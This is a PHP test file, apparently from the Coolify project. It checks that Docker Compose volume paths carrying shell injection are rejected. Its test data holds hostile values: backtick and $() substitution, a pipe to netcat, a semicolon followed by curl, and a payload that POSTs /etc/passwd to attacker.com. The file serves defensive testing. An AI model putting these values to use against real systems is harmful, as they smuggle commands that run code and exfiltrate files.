mirror of
https://github.com/coollabsio/coolify.git
synced 2025-12-28 05:34:50 +00:00
301 lines
8.7 KiB
PHP
301 lines
8.7 KiB
PHP
<?php
|
|
|
|
use Symfony\Component\Yaml\Yaml;
|
|
|
|
test('demonstrates array-format volumes from YAML parsing', function () {
|
|
// This is how Docker Compose long syntax looks in YAML
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx
|
|
volumes:
|
|
- type: bind
|
|
source: ./data
|
|
target: /app/data
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$volumes = $parsed['services']['web']['volumes'];
|
|
|
|
// Verify this creates an array format
|
|
expect($volumes[0])->toBeArray();
|
|
expect($volumes[0])->toHaveKey('type');
|
|
expect($volumes[0])->toHaveKey('source');
|
|
expect($volumes[0])->toHaveKey('target');
|
|
});
|
|
|
|
test('malicious array-format volume with backtick injection', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
evil:
|
|
image: alpine
|
|
volumes:
|
|
- type: bind
|
|
source: '/tmp/pwn`curl attacker.com`'
|
|
target: /app
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$volumes = $parsed['services']['evil']['volumes'];
|
|
|
|
// The malicious volume is now an array
|
|
expect($volumes[0])->toBeArray();
|
|
expect($volumes[0]['source'])->toContain('`');
|
|
|
|
// When applicationParser or serviceParser processes this,
|
|
// it should throw an exception due to our validation
|
|
$source = $volumes[0]['source'];
|
|
expect(fn () => validateShellSafePath($source, 'volume source'))
|
|
->toThrow(Exception::class, 'backtick');
|
|
});
|
|
|
|
test('malicious array-format volume with command substitution', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
evil:
|
|
image: alpine
|
|
volumes:
|
|
- type: bind
|
|
source: '/tmp/pwn$(cat /etc/passwd)'
|
|
target: /app
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$source = $parsed['services']['evil']['volumes'][0]['source'];
|
|
|
|
expect(fn () => validateShellSafePath($source, 'volume source'))
|
|
->toThrow(Exception::class, 'command substitution');
|
|
});
|
|
|
|
test('malicious array-format volume with pipe injection', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
evil:
|
|
image: alpine
|
|
volumes:
|
|
- type: bind
|
|
source: '/tmp/file | nc attacker.com 1234'
|
|
target: /app
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$source = $parsed['services']['evil']['volumes'][0]['source'];
|
|
|
|
expect(fn () => validateShellSafePath($source, 'volume source'))
|
|
->toThrow(Exception::class, 'pipe');
|
|
});
|
|
|
|
test('malicious array-format volume with semicolon injection', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
evil:
|
|
image: alpine
|
|
volumes:
|
|
- type: bind
|
|
source: '/tmp/file; curl attacker.com'
|
|
target: /app
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$source = $parsed['services']['evil']['volumes'][0]['source'];
|
|
|
|
expect(fn () => validateShellSafePath($source, 'volume source'))
|
|
->toThrow(Exception::class, 'separator');
|
|
});
|
|
|
|
test('exact example from security report in array format', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
coolify:
|
|
image: alpine
|
|
volumes:
|
|
- type: bind
|
|
source: '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`'
|
|
target: /app
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$source = $parsed['services']['coolify']['volumes'][0]['source'];
|
|
|
|
// This should be caught by validation
|
|
expect(fn () => validateShellSafePath($source, 'volume source'))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('legitimate array-format volumes are allowed', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx
|
|
volumes:
|
|
- type: bind
|
|
source: ./data
|
|
target: /app/data
|
|
- type: bind
|
|
source: /var/lib/data
|
|
target: /data
|
|
- type: volume
|
|
source: my-volume
|
|
target: /app/volume
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$volumes = $parsed['services']['web']['volumes'];
|
|
|
|
// All these legitimate volumes should pass validation
|
|
foreach ($volumes as $volume) {
|
|
$source = $volume['source'];
|
|
expect(fn () => validateShellSafePath($source, 'volume source'))
|
|
->not->toThrow(Exception::class);
|
|
}
|
|
});
|
|
|
|
test('array-format with environment variables', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx
|
|
volumes:
|
|
- type: bind
|
|
source: ${DATA_PATH}
|
|
target: /app/data
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$source = $parsed['services']['web']['volumes'][0]['source'];
|
|
|
|
// Simple environment variables should be allowed
|
|
expect($source)->toBe('${DATA_PATH}');
|
|
// Our validation allows simple env var references
|
|
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source);
|
|
expect($isSimpleEnvVar)->toBe(1); // preg_match returns 1 on success, not true
|
|
});
|
|
|
|
test('array-format with safe environment variable default', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx
|
|
volumes:
|
|
- type: bind
|
|
source: '${DATA_PATH:-./data}'
|
|
target: /app/data
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$source = $parsed['services']['web']['volumes'][0]['source'];
|
|
|
|
// Parse correctly extracts the source value
|
|
expect($source)->toBe('${DATA_PATH:-./data}');
|
|
|
|
// Safe environment variable with benign default should be allowed
|
|
// The pre-save validation skips env vars with safe defaults
|
|
expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('array-format with environment variable and path concatenation', function () {
|
|
// This is the reported issue #7127 - ${VAR}/path should be allowed
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx
|
|
volumes:
|
|
- type: bind
|
|
source: '${VOLUMES_PATH}/mysql'
|
|
target: /var/lib/mysql
|
|
- type: bind
|
|
source: '${DATA_PATH}/config'
|
|
target: /etc/config
|
|
- type: bind
|
|
source: '${VOLUME_PATH}/app_data'
|
|
target: /app/data
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
|
|
// Verify all three volumes have the correct source format
|
|
expect($parsed['services']['web']['volumes'][0]['source'])->toBe('${VOLUMES_PATH}/mysql');
|
|
expect($parsed['services']['web']['volumes'][1]['source'])->toBe('${DATA_PATH}/config');
|
|
expect($parsed['services']['web']['volumes'][2]['source'])->toBe('${VOLUME_PATH}/app_data');
|
|
|
|
// The validation should allow this - the reported bug was that it was blocked
|
|
expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('array-format with malicious environment variable default', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
evil:
|
|
image: alpine
|
|
volumes:
|
|
- type: bind
|
|
source: '${VAR:-/tmp/evil`whoami`}'
|
|
target: /app
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$source = $parsed['services']['evil']['volumes'][0]['source'];
|
|
|
|
// This contains backticks and should fail validation
|
|
expect(fn () => validateShellSafePath($source, 'volume source'))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('mixed string and array format volumes in same compose', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx
|
|
volumes:
|
|
- './safe/data:/app/data'
|
|
- type: bind
|
|
source: ./another/safe/path
|
|
target: /app/other
|
|
- '/tmp/evil`whoami`:/app/evil'
|
|
- type: bind
|
|
source: '/tmp/evil$(id)'
|
|
target: /app/evil2
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$volumes = $parsed['services']['web']['volumes'];
|
|
|
|
// String format malicious volume (index 2)
|
|
expect(fn () => parseDockerVolumeString($volumes[2]))
|
|
->toThrow(Exception::class);
|
|
|
|
// Array format malicious volume (index 3)
|
|
$source = $volumes[3]['source'];
|
|
expect(fn () => validateShellSafePath($source, 'volume source'))
|
|
->toThrow(Exception::class);
|
|
|
|
// Legitimate volumes should work (indexes 0 and 1)
|
|
expect(fn () => parseDockerVolumeString($volumes[0]))
|
|
->not->toThrow(Exception::class);
|
|
|
|
$safeSource = $volumes[1]['source'];
|
|
expect(fn () => validateShellSafePath($safeSource, 'volume source'))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('array-format target path injection is also blocked', function () {
|
|
$dockerComposeYaml = <<<'YAML'
|
|
services:
|
|
evil:
|
|
image: alpine
|
|
volumes:
|
|
- type: bind
|
|
source: ./data
|
|
target: '/app`whoami`'
|
|
YAML;
|
|
|
|
$parsed = Yaml::parse($dockerComposeYaml);
|
|
$target = $parsed['services']['evil']['volumes'][0]['target'];
|
|
|
|
// Target paths should also be validated
|
|
expect(fn () => validateShellSafePath($target, 'volume target'))
|
|
->toThrow(Exception::class, 'backtick');
|
|
});
|